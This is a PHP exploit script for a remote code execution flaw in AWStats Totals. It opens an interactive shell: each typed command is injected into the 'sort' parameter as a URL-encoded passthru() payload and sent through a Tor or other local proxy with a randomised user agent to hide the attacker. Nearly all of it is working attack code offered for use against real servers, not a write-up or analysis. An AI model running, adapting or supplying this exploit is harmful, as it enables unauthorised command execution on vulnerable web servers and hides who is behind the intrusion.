<?php
/* 
 * Remote Execution Exploit for AWStats Totals vulnerability (Interactive Shell)
 *   
 * Author: Ricardo Almeida
 * email:  ricardojba[at]aeiou[DoT]pt
 *
 * Greetz
 * The hacker webzine authored by Ronald van den Heetkamp for his code
 *
 * Credits: Vulnerabilities reported by Emory University.
 *          http://userwww.service.emory.edu/~ekenda2/EMORY-2008-01.txt 
*/ 

function wrap($url){
  $ua = array('Mozilla','Opera','Microsoft Internet Explorer','ia_archiver');
  $op = array('Windows','Windows XP','Linux','Windows NT','Windows 2000','OSX');
  $agent  = $ua[rand(0,3)].'/'.rand(1,8).'.'.rand(0,9).' ('.$op[rand(0,5)].' '.rand(1,7).'.'.rand(0,9).'; en-US;)';
  # tor or other proxy
  $tor = '127.0.0.1:8118';
  $timeout = '300';
  $ack = curl_init(); 
  curl_setopt ($ack, CURLOPT_PROXY, $tor); 
  curl_setopt ($ack, CURLOPT_URL, $url);
  curl_setopt ($ack, CURLOPT_HEADER, 1);  
  curl_setopt ($ack, CURLOPT_USERAGENT, $agent); 
  curl_setopt ($ack, CURLOPT_RETURNTRANSFER, 1); 
  curl_setopt ($ack, CURLOPT_FOLLOWLOCATION, 1);
  curl_setopt ($ack, CURLOPT_TIMEOUT, $timeout);
  $syn = curl_exec($ack);
  $info = curl_getinfo($ack);
  curl_close($ack);   

  if($info['http_code'] == '200') {
    return $syn;
    die();
  } else {
    return "Fail! :".$info['http_code']."\r\n";
  }
}

if ($argc != 2) {
  die("Usage: awtotalhack.php <host>\n");
}
array_shift($argv);
$host = $argv[0];

# Start the interactive shell
while(1){
  fwrite(STDOUT, "[shell:~ # ");
  $cmd = preg_replace('/ /','%20',trim(fgets(STDIN)));
  if ($cmd == "exit") {die();};
  $attackurl = "http://".$host."/"."awstatstotals.php?sort=%22%5d%2epassthru%28%27".$cmd."%27%29%2eexit%28%29%2e%24a%5b%22";
  echo wrap($attackurl);
}
?>